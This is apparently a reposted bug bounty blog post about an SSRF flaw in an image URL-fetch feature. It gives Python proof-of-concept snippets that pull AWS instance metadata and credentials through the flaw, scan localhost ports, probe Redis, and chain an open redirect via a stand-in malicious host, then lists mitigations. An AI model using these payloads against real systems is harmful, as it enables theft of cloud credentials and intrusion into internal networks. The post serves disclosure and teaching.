How I Exploited an SSRF Vulnerability & Earned $5000 — Real-World Exploit!

2 days ago 6
BOOK THIS SPACE FOR AD
ARTICLE AD

TheIndianNetwork

Photo by Pankaj Patel on Unsplash

Server-Side Request Forgery (SSRF) is a critical vulnerability that allows attackers to manipulate server-side requests, often leading to data leaks, internal network access, or even remote code execution. In this article, I’ll share how I discovered an SSRF vulnerability, exploited it, and earned a bug bounty reward. Plus, I’ll demonstrate a real-world exploit with code!

SSRF occurs when an attacker tricks the server into making requests to unintended destinations. These requests can be used to:

✅ Access internal services (e.g., http://localhost:8080) ✅ Retrieve metadata from cloud services (e.g., AWS EC2 http://169.254.169.254/latest/meta-data/) ✅ Scan internal networks for open ports ✅ Exfiltrate sensitive data ✅ Exploit open redirect vulnerabilities

While testing a file upload and URL fetch feature, I noticed that the application allowed users to input external URLs to fetch images. This was a perfect candidate for SSRF exploitation.

Tested fetching an external URL — The server successfully retrieved the image from my provided URL.Checked for internal network access — Attempted to fetch http://localhost:80 and received a response from the internal server.Tested cloud metadata access — Requested http://169.254.169.254/latest/meta-data/ and successfully retrieved AWS instance details.

Here’s a practical proof-of-concept (PoC) for the SSRF vulnerability:

import requests# Target URL that fetches images from external sources
url = "https://vulnerable-website.com/fetch?url="
# Attempt to access AWS metadata service
payload = "http://169.254.169.254/latest/meta-data/"
response = requests.get(url + payload)print("Response:", response.text)The vulnerable website accepts a user-supplied URL.Instead of providing a normal image URL, we send a request to AWS metadata.The server fetches the data and returns sensitive information, including IAM roles, instance ID, and credentials.

If the application allows custom ports, you can scan internal services:

for port in range(8000, 8100):
test_url = f"http://localhost:{port}/"
response = requests.get(url + test_url)
print(f"Port {port}: {response.status_code}")

Some applications expose databases or internal services that can be accessed via SSRF.

payload = "http://127.0.0.1:6379/" # Targeting Redis
response = requests.get(url + payload)
print("Response:", response.text)

If the server follows redirects, we can chain SSRF with Open Redirects:

payload = "https://malicious-site.com/redirect?url=http://169.254.169.254/latest/meta-data/"
response = requests.get(url + payload)
print("Response:", response.text)

To mitigate SSRF attacks, developers should:

Restrict External Requests — Only allow whitelisted domains. ✅ Disable Internal IP Access — Block requests to localhost (127.0.0.1), private IPs (10.x.x.x, 192.168.x.x, etc.). ✅ Validate User Input — Use regular expressions to prevent unwanted URL schemes. ✅ Use Metadata Proxy Services — Prevent direct access to cloud metadata endpoints. ✅ Monitor and Log Requests — Detect unusual internal network access attempts.

After successfully exploiting and reporting the SSRF vulnerability via A Private Program, the company acknowledged the issue and rewarded me with $5000! 🎉

This proves that SSRF vulnerabilities can have serious security implications and lead to big payouts for ethical hackers.

SSRF is a powerful attack vector that can be easily overlooked. If properly exploited, it can lead to internal network access, data leaks, and privilege escalation.

👉 Want to learn more about hacking & cybersecurity? Subscribe to my YouTube channel for exclusive tutorials!

📺 YouTube: youtube.com/@theindiannetwork
📖 Read More on Medium: theindiannetwork.medium.com
📩 Contact Me: theindiannetwork@protonmail.com

💬 Have you ever exploited an SSRF vulnerability? Share your experience in the comments! 🚀

Read Entire Article